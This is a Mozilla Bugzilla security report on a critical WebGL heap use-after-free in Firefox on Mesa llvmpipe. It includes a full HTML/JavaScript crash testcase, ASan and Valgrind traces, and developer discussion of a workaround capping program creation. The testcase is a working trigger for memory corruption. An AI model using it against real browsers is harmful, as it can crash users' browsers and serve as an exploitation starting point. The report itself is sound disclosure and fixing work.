Closed Bug 787827 Opened 12 years ago Closed 12 years ago

use-after-free in webgl with resource overflow thing, llvmpipe atleast

Categories

(Core :: Graphics: CanvasWebGL, defect)

x86
Linux
defect
Not set
normal

Tracking

()

RESOLVED DUPLICATE of bug 791905
Tracking Status
firefox17 --- wontfix
firefox18 - wontfix
firefox19 - wontfix
firefox20 - wontfix
firefox-esr10 - wontfix
firefox-esr17 - wontfix

People

(Reporter: miaubiz, Assigned: bjacob)

Details

(Keywords: sec-critical, testcase, Whiteboard: [asan])

Attachments

(3 files)

Attached file repro case
I load:

<html>
  <head>
    <script id="vshader" type="x-shader/x-vertex">
      attribute vec4 vPosition;
      attribute vec2 texCoord0;
      varying vec2 texCoord;
      void main() {
        gl_Position = vPosition;
        texCoord = texCoord0;
      }
    </script>
    <script id="fshader" type="x-shader/x-fragment">
      precision mediump float;
      uniform sampler2D tex;
      varying vec2 texCoord;
      void main() {
        gl_FragData[0] = texture2DProj(tex, vec3(texCoord, 0));
      }
    </script>
    <script>
      function _shader(gl, program, shaderType, shaderId) {
        var shader = gl.createShader(shaderType);
        var shaderElement = document.getElementById(shaderId)
        var shaderSource = shaderElement.text
        gl.shaderSource(shader, shaderSource);
        gl.compileShader(shader);
        gl.attachShader(program, shader);
      }

      function doStuff(gl) {
        gl.clearColor(0, 0, 0, 0)
        gl.clear(gl.COLOR_BUFFER_BIT)
        gl.drawArrays(gl.TRIANGLES, 0, 3);
        var buf = new Uint8Array(4)
        gl.readPixels(0, 0, 1, 1, gl.RGBA, gl.UNSIGNED_BYTE, buf);
      }

      var gl = document.createElement('canvas').getContext('experimental-webgl')

      var vertexObject = gl.createBuffer();
      gl.bindBuffer(gl.ARRAY_BUFFER, vertexObject);
      gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([0, 0, 0, 0, 0, 0, 0, 0]), gl.STATIC_DRAW);
      gl.enableVertexAttribArray(1)
      gl.vertexAttribPointer(1, 1, gl.FLOAT, false, 0, 0);

      var program = gl.createProgram();
      _shader(gl, program, gl.VERTEX_SHADER, 'vshader')
      _shader(gl, program, gl.FRAGMENT_SHADER, 'fshader')
      gl.linkProgram(program);
      gl.useProgram(program)
      doStuff(gl)

      for (var ss = 0; ss < 10000; ++ss) {
        var program = gl.createProgram();
        gl.linkProgram(program);
        gl.deleteProgram(program);
        gl.useProgram(null)
        for (var p in gl) {
          if (gl[p] == 'A') {}
        }
        doStuff(gl)
      }
    </script>
  </head>
  <body>
  </body>
</html>


and then this happens:

=================================================================
==30886== ERROR: AddressSanitizer heap-use-after-free on address 0x7fffbc96a980 at pc 0x42721a bp 0x7fffffff1f40 sp 0x7fffffff1d08
WRITE of size 1 at 0x7fffbc96a980 thread T0
    #0 0x42721a in __interceptor_memcpy ??:0
    #1 0x7fffc483c8c2 in ?? ??:0
0x7fffbc96a980 is located 0 bytes inside of 64-byte region [0x7fffbc96a980,0x7fffbc96a9c0)
freed by thread T0 here:
    #0 0x42ae21 in free ??:0
    #1 0x7fffc44bdc1a in ?? ??:0
previously allocated by thread T0 here:
    #0 0x42b15b in posix_memalign ??:0
    #1 0x7fffc43f2d61 in ?? ??:0
==30886== ABORTING
Stats: 318M malloced (416M for red zones) by 2324432 calls
Stats: 81M realloced by 860547 calls
Stats: 183M freed by 1192420 calls
Stats: 59M really freed by 242755 calls
Stats: 716M (183329 full pages) mmaped in 179 calls
  mmaps   by size class: 8:2080641; 9:57337; 10:28665; 11:10235; 12:3072; 13:1536; 14:768; 15:256; 16:448; 17:128; 18:144; 19:8; 20:4;
  mallocs by size class: 8:2214575; 9:66021; 10:30795; 11:8258; 12:2002; 13:1192; 14:677; 15:225; 16:431; 17:111; 18:137; 19:5; 20:3;
  frees   by size class: 8:1109188; 9:47994; 10:27242; 11:4916; 12:1035; 13:900; 14:492; 15:184; 16:371; 17:80; 18:12; 19:4; 20:2;
  rfrees  by size class: 8:210444; 9:18608; 10:5953; 11:4769; 12:1003; 13:877; 14:485; 15:175; 16:350; 17:76; 18:10; 19:3; 20:2;
Stats: malloc large: 256 small slow: 5510
Shadow byte and word:
  0x1ffff792d530: fd
  0x1ffff792d530: fd fd fd fd fd fd fd fd
More shadow bytes:
  0x1ffff792d510: fd fd fd fd fd fd fd fd
  0x1ffff792d518: fd fd fd fd fd fd fd fd
  0x1ffff792d520: fa fa fa fa fa fa fa fa
  0x1ffff792d528: fa fa fa fa fa fa fa fa
=>0x1ffff792d530: fd fd fd fd fd fd fd fd
  0x1ffff792d538: fd fd fd fd fd fd fd fd
  0x1ffff792d540: fa fa fa fa fa fa fa fa
  0x1ffff792d548: fa fa fa fa fa fa fa fa
  0x1ffff792d550: fd fd fd fd fd fd fd fd
Attached file asan log linux
Whiteboard: [asan]
Keywords: testcase
Assignee: nobody → bjacob
Keywords: sec-critical
Hadn't seen this one; looking now.
In Valgrind, with Mesa 8.0.3 llvmpipe, i get this at iteration 6824:

iteration 6824
==29795== Invalid read of size 8
==29795==    at 0x402F288: memcpy@@GLIBC_2.14 (mc_replace_strmem.c:877)
==29795==    by 0x4CED2ED: try_update_scene_state (lp_setup.c:827)
==29795==    by 0x4CEBCFB: begin_binning (lp_setup.c:197)
==29795==    by 0x4CEBF93: execute_clears (lp_setup.c:262)
==29795==    by 0x4CEC0CB: set_scene_state (lp_setup.c:310)
==29795==    by 0x4CEC1C5: lp_setup_flush (lp_setup.c:342)
==29795==    by 0x4CDE083: llvmpipe_flush (lp_flush.c:55)
==29795==    by 0x4CDE0FB: llvmpipe_finish (lp_flush.c:89)
==29795==    by 0x4CDE1DB: llvmpipe_flush_resource (lp_flush.c:128)
==29795==    by 0x4CBC8E3: llvmpipe_get_transfer (lp_texture.c:601)
==29795==    by 0x4E53099: pipe_get_transfer (u_inlines.h:389)
==29795==    by 0x4E5426B: st_MapRenderbuffer (st_cb_fbo.c:679)
==29795==  Address 0x21b26198 is not stack'd, malloc'd or (recently) free'd
==29795== 

This could be the same error as you were noticing, if Valgrind just failed to notice that this pointer was recently free'd.
In another run, the invalid read occurred at iteration 6823, so this seems rather consistent.

 --> we can work around the issue, at the expense of killing some content, by losing WebGL contexts after, say, 4096 calls to gl.createProgram.
We suspect that some evil numbers are lurking around 6823 and we should keep a safe distance.
Attachment #685381 - Flags: review?(jgilbert)
Comment on attachment 685381 [details] [diff] [review]
limit to 4096 calls to createProgram per context on Mesa

These workarounds are getting ridiculous. Props for working this out, though.
Attachment #685381 - Flags: review?(jgilbert) → review+
(In reply to Jeff Gilbert [:jgilbert] from comment #6)
> Comment on attachment 685381 [details] [diff] [review]
> limit to 4096 calls to createProgram per context on Mesa
> 
> These workarounds are getting ridiculous. Props for working this out, though.

I know :-( The alternative is blacklisting.
I checked that the bug is not triggered by just relinking the same program, so that limiting program creation is really the only thing to do.
Comment on attachment 685381 [details] [diff] [review]
limit to 4096 calls to createProgram per context on Mesa

[Security approval request comment]
How easily can the security issue be deduced from the patch?
I don't actually know: the testcase here does significantly more than can be inferred from the patch, but I haven't tried minimizing it further. If it is minimal already, then it can't be inferred too easily. OTOH it's very possible that just creating 7,000 program objects is enough to reproduce, in which case the answer is "very easily".

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
Not particularly.

Which older supported branches are affected by this flaw?
All Firefox versions since 6.

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?
Trivial to backport.

How likely is this patch to cause regressions; how much testing does it need?
Not likely to cause regressions. If there exists a page that needs to create more than 4k programs, it won't work on Mesa drivers, but 4k is a lot of programs.
Attachment #685381 - Flags: sec-approval?
Comment on attachment 685381 [details] [diff] [review]
limit to 4096 calls to createProgram per context on Mesa

sec-approval+ but please don't check in until December 15 or later. 

We should get patches for supported and affected branches and nominate for landing.
Attachment #685381 - Flags: sec-approval? → sec-approval+
Comment on attachment 685381 [details] [diff] [review]
limit to 4096 calls to createProgram per context on Mesa

[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration: this is sec:crit
User impact if declined: sec:crit affecting certain linux users
Fix Landed on Version: will land on m-c around Dec 15
Risk to taking this patch (and alternatives if risky): see above sec-approval comment. Low risk.
String or UUID changes made by this patch: none
Attachment #685381 - Flags: approval-mozilla-esr17?
Attachment #685381 - Flags: approval-mozilla-beta?
Attachment #685381 - Flags: approval-mozilla-aurora?
Whiteboard: [asan] → [asan] [embargoed till 12/15]
Flags: sec-bounty?
Whiteboard: [asan] [embargoed till 12/15] → [asan]
I just realized that the valgrind call stack in comment 3 is exactly the same as in bug 791905.

bug 791905 is just a much more efficient way of triggering this bug, for which we do not have a work-around yet.
As the stacks are similar to bug 791905, and 791905 reproduces more efficiently, let's dupe it.

Filed mesa security bug: https://bugs.freedesktop.org/show_bug.cgi?id=57733
Status: NEW → RESOLVED
Closed: 12 years ago
Resolution: --- → DUPLICATE
Comment on attachment 685381 [details] [diff] [review]
limit to 4096 calls to createProgram per context on Mesa

Clearing these flags out and moving the tracking flags to bug 791905 in that case.
Attachment #685381 - Flags: approval-mozilla-esr17?
Attachment #685381 - Flags: approval-mozilla-beta?
Attachment #685381 - Flags: approval-mozilla-aurora?
Flags: sec-bounty?
rforbes-bugspam-for-setting-that-bounty-flag-20130719
Flags: sec-bounty+
Group: core-security
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: